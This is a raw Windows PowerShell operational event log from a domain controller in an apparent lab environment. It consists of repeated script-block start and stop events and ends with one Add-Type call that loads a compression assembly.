Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467292
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467291
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467290
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467289
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467288
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467287
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467286
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467285
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467284
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467283
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467282
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467281
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467280
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467279
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467278
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467277
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467276
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467275
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467274
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467273
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467272
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467271
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467270
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467269
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467268
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467267
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467266
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467265
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467264
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467263
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467262
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467261
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467260
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467259
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467258
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467257
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467256
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467255
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467254
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467253
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467252
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467251
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467250
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467249
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467248
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467247
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467246
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467245
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467244
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467243
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467242
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467241
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467240
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467239
Keywords=None
Message=Completed invocation of ScriptBlock ID: a29f05d0-a5c2-4f6a-9a5c-bc019b59fb08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4103
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when operation is just executing a method
RecordNumber=1467238
Keywords=None
Message=CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem"
Context:
Severity = Informational
Host Name = ConsoleHost
Host Version = 5.1.14393.4402
Host ID = b0030b64-c114-4765-a95a-dacf53f2747d
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Engine Version = 5.1.14393.4402
Runspace ID = c5f1100c-56fc-4347-871f-80d397213539
Pipeline ID = 6
